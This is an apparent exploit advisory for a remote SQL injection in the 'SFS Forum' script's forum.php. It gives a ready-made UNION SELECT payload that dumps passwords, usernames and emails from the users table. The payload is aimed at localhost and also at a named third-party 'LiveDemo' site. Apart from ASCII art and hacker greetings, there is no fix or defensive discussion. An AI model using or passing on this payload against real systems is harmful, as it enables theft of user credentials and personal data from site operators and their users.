================================================================================== SFS Forum (forum.php id) Remote SQL Injection Vulnerability ================================================================================== __ __ __ / / / /_ _______/ /__ __ __ / /_/ / / / / ___/ / _ \/ / / / / __ / /_/ / / / / __/ /_/ / /_/ /_/\__,_/_/ /_/\___/\__, / /____/ ================================================================================== ---------------------------------------------------------------------------------- Website script: http://www.scripts-for-sites.info/index.php ---------------------------------------------------------------------------------- Exploit: http://localHost/forum/forum.php?forum=-9999+union+all+select+null,concat_ws(0x3a,password,username,%20email),null,null+from+users/* ---------------------------------------------------------------------------------- LiveDemo: http://www.turnkeyzone.com/demos/forum/forum.php?forum=-9999+union+all+select+null,concat_ws(0x3a,password,username,%20email),null,null+from+users/* ---------------------------------------------------------------------------------- ================================================================================== Greetz : Boom3rang Special Thx : Darckc0de ==================================================================================